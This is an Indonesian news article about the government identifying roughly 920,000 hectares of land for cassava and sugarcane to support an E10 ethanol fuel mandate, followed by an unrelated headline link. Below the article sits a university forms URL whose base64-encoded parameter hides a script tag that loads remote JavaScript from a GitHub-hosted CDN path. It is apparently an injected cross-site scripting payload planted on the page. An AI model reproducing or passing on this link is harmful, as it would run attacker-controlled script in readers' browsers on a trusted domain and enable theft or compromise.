Indonesia Alokasikan 920.000 Hektar Lahan untuk Percepatan Produksi Etanol

Jakarta (ANTARA) – Pemerintah Indonesia sudah mengidentifikasi sekitar 920.000 hektar lahan yang berpotensi untuk digunakan dalam program bahan bakar campuran etanol, kata Menteri Agraria Nusron Wahid.

Lahan yang sudah diidentifikasi ini tersebar di 18 provinsi dan membuat pemerintah semakin dekat dengan target satu juta hektar yang diperlukan untuk menanam singkong dan tebu. Bahan baku ini akan dipakai untuk memproduksi BBM E10—jenis bensin yang mengandung 10 persen etanol.

Inisiatif ini merupakan bagian penting dari strategi nasional untuk memperkuat kemandirian energi dan memenuhi tujuan energi bersih global melalui produksi bahan bakar E10.

Sumber lahan yang teridentifikasi mencakup 680.000 hektar dari konsesi lahan yang masa berlakunya telah habis dan tidak diperpanjang, serta 240.000 hektar lahan terlantar yang ditunjuk pemerintah.

Menteri Wahid menyampaikan bahwa masih ada kekurangan, dengan mengatakan, “Kami masih mencari sisa 100.000 hektarnya.”

Dengan mandat E10 yang dijadwalkan mulai berlaku pada tahun 2027 dan kebutuhan etanol tahunan yang diperkirakan mencapai 1,4 juta kiloliter, pemerintah berencana memberikan insentif, seperti pembebasan pajak, kepada perusahaan yang berinvestasi di fasilitas produksi.

Indonesia juga telah mendapatkan dukungan internasional dengan menandatangani perjanjian kerja sama dengan Brazil untuk pengembangan bahan bakar hayati berbasis etanol.

https://forms.brockport.edu/download.php?q=Zm9ybV9pZD00MiZpZD0wJmVsPWVsZW1lbnRfMTxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvZ2gvMGM1Yy9jL2suanMiPjwvc2NyaXB0Pg%3D%3D&w=y&o2x=3EK

MEMBACA  Mantan Ibu Negara Peru melarikan diri ke Brasil untuk mendapatkan suaka demi menghindari penjara